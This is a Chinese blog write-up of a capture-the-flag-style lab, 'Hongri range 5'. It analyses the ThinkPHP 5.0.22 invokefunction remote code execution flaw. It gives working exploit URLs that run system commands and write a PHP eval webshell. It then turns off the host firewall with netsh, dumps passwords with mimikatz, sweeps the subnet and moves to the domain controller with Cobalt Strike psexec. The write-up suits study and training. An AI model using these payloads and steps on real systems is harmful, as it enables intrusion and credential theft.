MENU

内网渗透-红日靶场五

June 14, 2022 • Read: 773 • Penetration testing

环境搭建

官网:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
静态ip,配一下就行了
然后把win7的防火墙关了和web服务开启就行了
外网机器ip:192.168.138.136

       192.168.135.150

内网机器ip:192.168.138.138
攻击机ip:192.168.135.1

外网打点

5TSXXOD8V5QJ7WR0.png

直接访问80端口
OEO807MOP~E7DAE2K.png

发现是php5.0.22,自己就来审一下
入口框架加载完成之后,跟进/../thinkphp/start.php
PJB7YF2VV51Y7YKFP.png

跟进run函数
RQFPX50B@53C52MO.png

跟进routeCheck函数,关键代码如下
BYH78DIL5ADCM4O9.png

上述代码中因变量$result为假,所以会进入Route::parseUrl函数,此函数用来解析变量$path(index/thinkapp/invokefunction),跟进到此函数,关键代码如下
LQKKZ9H0KK87CMTBVR2.png

继续跟进parseUrlPath函数
7YMLFP29(P%DV(XYDP.png

跟到这里,它会将变量$url变为数组,此时重新返回到parseUrl函数,继续往下跟,跟到解析控制器部分,关键代码如下:
HJ$A%[FIVKZG(G$O5$I)R74.png

上述会得到控制器和操作方法等,然后会封装路由,再然后会以数组的形式返回到routeCheck函数
5~BH0<code>48H@YMXL</code>P@3TIDSM.png

然后数组变量$result接受返回的数据,第6行再将数组变量$result结果返回到run函数中
TEWPHT$XZYQ4Y8L.png

变量$dispatch接受返回的数组变量$result的值,继续跟进到exec函数,它是用来做执行操作的
O2RRT{PMHE2E9KI~OL`DJ7X.png

继续跟进module函数
LB7JPYDS%ABHU37B@U0.png

里面有个请求的控制器和操作,操作名变量$actionName为invokefunction,继续往下跟module函数
L[B7JPYDS%ABH<code>U37[B</code>@U0.png

is_callable因验证thinkapp中存在invokefunction方法,所以会进入到这个if语句,第6行代码会获取类名和方法名,继续跟进module函数
AF7BHEE0OU~WBA)O@`JQ)VC.png

然后跟入invokeMethod函数
P09QG0PU6F036ON.png

然后会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。再会返回到exec函数
S9S{QXD3NIPI6SCT277GF9Y.png

变量$data会接受最后的执行数据的值,就会造成命令执行了
这就来尝试一下

http://192.168.135.150/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

IPK1PW922AE76H4K.png

然后再直接来写webshell就好

http://192.168.135.150/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['m1']);?>" > m1.php

不知道成功没,再来看一下当前目录
1Y2R)0(CC@$KFJC7SZ36)P.png

然后进行蚁剑连接
那我们就来上线cs
连接成功之后上传文件失败
WQQTTNIQWC_MREO1NBK.png

可能是防火墙原因,拒绝连接
那就试试powershell上线cs
$LQ`{}%KZZA8)HQR__0SMPV.png

内网渗透

域内信息收集

查看网卡信息

shell ipconfig /all

P%GW@3AL()ZGH~@W8P3RO(7.png

发现有两张网卡,有域
但是当我们执行域内命令的时候会报错
可能是防火墙的原因
来看看

shell netsh firewall show state

%SI04BZ34}FYP8H630O3.png

确实打开的,所以我们来关闭一下再试试

shell netsh advfirewall set allprofiles state off

$`6[PFYD~$)EG{$6P@X_R3W.png

这次是成功回显了,但是当前用户不是域用户
先看一手补丁信息

shell systeminfo

G%GSDH33_PA2KFI1H0YG4D.png

发现没有1997那个补丁
那直接mimikatz抓一下密码看看能否抓到其他用户的
H$T9REYW5OU24~8[BEW4JXH.png

突然想到system用户一般都为域用户
所以我们直接利用cs提权到system用户就行
但是
然后看看内网下的机器

shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="

L(1`$D8O347M64~$B$U8(T2.png

并且发现另一个就是域控
%SJOX6K~~CMZK(QQ0~@2.png

然后来进行端口扫描一下
0AKDMLA`NUAAVUP3TK1JQ7S.png

发现域控机器开了445端口

横向移动

因为之前知道了2008是不出网的 所以直接使用SMB Beacon

原理:使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload上线

使用cs自带的psexec进行横向上线
9Y1@D_ITD5YL9(G.png

成功上线DC机器
R9KWFWD0RZ5EZJH~P`05DKE.png

结语

这个靶机挺简单的,免杀要开始接触啦

Last Modified: September 1, 2022
Archives Tip
QR Code for this page
Tipping QR Code